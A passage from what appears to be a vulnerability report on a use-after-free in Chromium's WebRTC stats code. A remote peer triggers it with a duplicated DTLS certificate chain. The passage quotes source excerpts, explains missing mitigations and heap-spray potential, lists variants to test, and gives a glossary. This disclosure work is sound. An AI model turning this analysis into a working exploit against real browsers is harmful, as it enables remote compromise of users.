if (!first_report)branch remembers the first report. Theelsebranch links the current report to the previous one as its issuer. The comment// UAFmarks the dangerous line:prev_report->AddId(...). prev_report = reportupdates the pointer for the next iteration.return first_reportreturns the head of the chain.
ReplaceOrAddNew() is where the old object is destroyed. When a report with a matching ID already exists, it allocates a new StatsReport, deletes the old one, replaces the pointer in the list and returns the new object:
// third_party/webrtc/api/legacy_stats_types.cc
StatsReport* StatsCollection::ReplaceOrAddNew(const StatsReport::Id& id) {
RTC_DCHECK_RUN_ON(&thread_checker_);
RTC_DCHECK(id.get());
Container::iterator it = absl::c_find_if(
list_,
[&id](const StatsReport* r) -> bool { return r->id()->Equals(id); });
if (it != end()) {
StatsReport* report = new StatsReport((*it)->id());
delete *it; // deletes the old StatsReport
*it = report;
return report; // returns the NEW report
}
return InsertNew(id);
}
Line by line, in plain words:
- The two
RTC_DCHECKlines are debug-only checks, again compiled out in release builds. absl::c_find_if(list_, ...)searches the internal list for a report whose identifier equalsid. The lambda in the middle is the comparison rule.- If a match is found (
it != end()),new StatsReport((*it)->id())allocates a fresh report with the same identifier. delete *itfrees the old report. This is the exact moment the memory becomes invalid.*it = reportputs the new report in the list, andreturn reporthands the new object back to the caller.- If no match is found,
InsertNew(id)creates a brand new entry.
With two adjacent certificates sharing a fingerprint, the sequence is:
- Iteration 0 inserts the report for fingerprint X and sets
prev_reportto it (the report describes this asreport_Aat address0x...cd0). - Iteration 1 sees the same fingerprint X.
ReplaceOrAddNew(X)findsreport_A, allocatesreport_A'(at0x...f10), deletesreport_Aand swaps the list entry. prev_reportstill holds the address of the freedreport_A, andprev_report->AddId(...)dereferences it.
The duplicate chain is accepted because nothing upstream filters it. In OpenSSLStreamAdapter::SSLVerifyCallback(), BoringSSL's SSL_get0_peer_certificates() returns the raw certificate list exactly as sent by the remote peer, with no deduplication or validation of chain structure:
// third_party/webrtc/rtc_base/openssl_stream_adapter.cc
const STACK_OF(CRYPTO_BUFFER)* chain = SSL_get0_peer_certificates(ssl);
std::vector<std::unique_ptr<SSLCertificate>> cert_chain;
for (CRYPTO_BUFFER* cert : chain) {
cert_chain.emplace_back(new BoringSSLCertificate(bssl::UpRef(cert)));
}
stream->peer_cert_chain_.reset(new SSLCertChain(std::move(cert_chain)));
Line by line, in plain words:
SSL_get0_peer_certificates(ssl)asks BoringSSL for the peer's certificate list. The0in the name is a convention meaning the caller does not own the returned data.- The
forloop copies each certificate into aBoringSSLCertificateobject and adds it to a vector. A vector is a growable list. stream->peer_cert_chain_.reset(...)stores the resulting chain on the stream object, replacing whatever was there before.- Nothing in this code checks for duplicates. Whatever the peer sent is what gets stored.
SSLCertChain::GetStats() also performs no deduplication, and the chain reaches AddCertificateReports() through PeerConnection::Close() to legacy_stats_->UpdateStats() to ExtractSessionInfo_s().
Several defences that might otherwise help are absent on this path. prev_report and first_report are raw StatsReport* pointers without raw_ptr<> (MiraclePtr) protection, because WebRTC third-party code does not use Chromium's smart pointer wrappers. MiraclePtr is a Chromium mechanism that makes dangling pointers detectable or harmless; it does not apply here. StatsCollection stores reports in a std::list<StatsReport*> with no reference counting, so nothing keeps a report alive while a pointer to it exists. All guards on the path are RTC_DCHECK, which is debug-only and compiled out in release builds. There is no PartitionAlloc bucket isolation for WebRTC's heap allocations. PartitionAlloc is Chromium's memory allocator, and bucket isolation means keeping objects of different sizes in separate pools so that a freed slot is less likely to be reused by an unrelated object; that protection is not in place here.
Impact
The immediate effect is heap memory corruption in the renderer process, reachable by any remote WebRTC peer that completes a DTLS handshake with a duplicated certificate chain. The attacker only needs the victim to visit a page that connects to the malicious signalling endpoint; no further interaction is required.
The report argues that the freed 40-byte StatsReport object is immediately followed by new heap allocations from AddString() within the same function, which gives an attacker a realistic heap-spray window for replacing the freed region. That is the basis for the claim that the bug can escalate from a crash to arbitrary code execution in the renderer. The report demonstrates the ASAN heap-use-after-free; the code-execution escalation is argued, not demonstrated.
Fix
The report does not describe a fix or a patch.
Variants to test
- Other stats paths that call
ReplaceOrAddNew(). Any code that keeps a rawStatsReport*across aReplaceOrAddNew()call has the same shape. A positive result is an ASAN heap-use-after-free whose free stack showsStatsCollection::ReplaceOrAddNewand whose read stack shows the stale pointer being used. - Non-adjacent duplicate fingerprints. The report only describes two adjacent certificates with the same fingerprint. Trying duplicates separated by other certificates tests whether the issuer linking still reaches the freed object. A positive result is the same UAF report with a different iteration pattern.
- Longer chains with repeated entries. Sending a chain where several fingerprints repeat tests whether repeated replacement widens the window. A positive result is a crash or corruption that survives beyond the first duplicate pair.
- Other consumers of
SSL_get0_peer_certificates(). Any code that assumes the peer chain is deduplicated or well formed is worth checking. A positive result is a logic error or memory error triggered by a chain the TLS specification permits but the code does not expect. - Raw pointers in third-party code that bypass MiraclePtr. WebRTC and similar bundled libraries do not use Chromium's smart pointer wrappers, so use-after-free patterns there are not mitigated by
raw_ptr<>. A positive result is a UAF in third-party code that would have been caught had the pointer been wrapped.
Glossary
- AddressSanitizer (ASAN): a debugging tool that watches memory accesses and reports reads or writes to memory that has been freed or was never valid.
- aiortc: a Python library that implements WebRTC, used here to build the malicious peer.
- aiohttp: a Python library for building web servers and clients, used here to serve the page and the signalling endpoint.
- Base64: a way of encoding binary data as plain text characters.
- Blink: the rendering engine inside Chromium that turns HTML, CSS and JavaScript into a page.
- BoringSSL: Google's fork of the OpenSSL TLS library, used by Chrome for encrypted connections.
- Certificate: a file containing a public key and identifying information, used to prove identity during an encrypted handshake.
- Certificate chain: an ordered list of certificates, usually the peer's own certificate followed by the certificates of the authorities that signed it.
- Chrome VRP: Google's Vulnerability Reward Program, which pays researchers for reporting security bugs in Chrome.
- Codec: a method for encoding and decoding audio or video.
- Commit: a saved change in a code repository, identified by a long hash.
- Data channel: a WebRTC feature that provides a simple message pipe between two peers.
- DTLS: the encrypted handshake protocol WebRTC uses, similar in purpose to TLS on websites.
- Fingerprint: a short code computed from a file, used to identify it; identical files have identical fingerprints.
- Heap: the area of memory a program uses for objects it creates while running.
- Heap spraying: filling memory with many copies of the same data so that one lands in a freed slot.
- ICE candidate: a possible network path a browser finds for a WebRTC connection.
- Lambda: an unnamed function written inline, used here as a comparison rule.
- Leaf certificate: the first certificate in a chain, belonging to the peer itself.
- MiraclePtr /
raw_ptr<>: a Chromium mechanism that makes dangling pointers detectable or harmless; not used by WebRTC third-party code. - Monkey-patch: replacing a library's behaviour at runtime without editing the library.
- PartitionAlloc: Chromium's memory allocator, which can keep objects of different sizes in separate pools.
- Peer connection: a WebRTC connection between two peers, represented in the browser by
RTCPeerConnection. - pip: Python's package installer.
- Raw pointer: a plain memory address that does not keep the object alive or warn if the object is gone.
- Refactor: a rewrite that changes the shape of code without changing what it is meant to do.
- Renderer process: the part of Chrome that runs a web page, kept separate from the rest of the browser.
- SDP: the text format WebRTC uses to describe a connection's formats, addresses and encryption.
- SHA-256: a hashing algorithm that turns data into a fixed-length code; used here to fingerprint certificates.
- Signalling: the exchange of connection descriptions (SDP) between two peers before the direct connection is set up.
- Stack trace: a list of function calls showing how the program reached a particular point.
- Subclass: a class that inherits from another and can change part of its behaviour.
- TLS: the encryption protocol behind the padlock on websites.
- Use-after-free (UAF): a bug where a program keeps using memory after it has been freed.
- Vector: a growable list in C++.
- WebRTC: the browser feature that lets two computers talk directly, for example for a video call or a peer-to-peer data channel.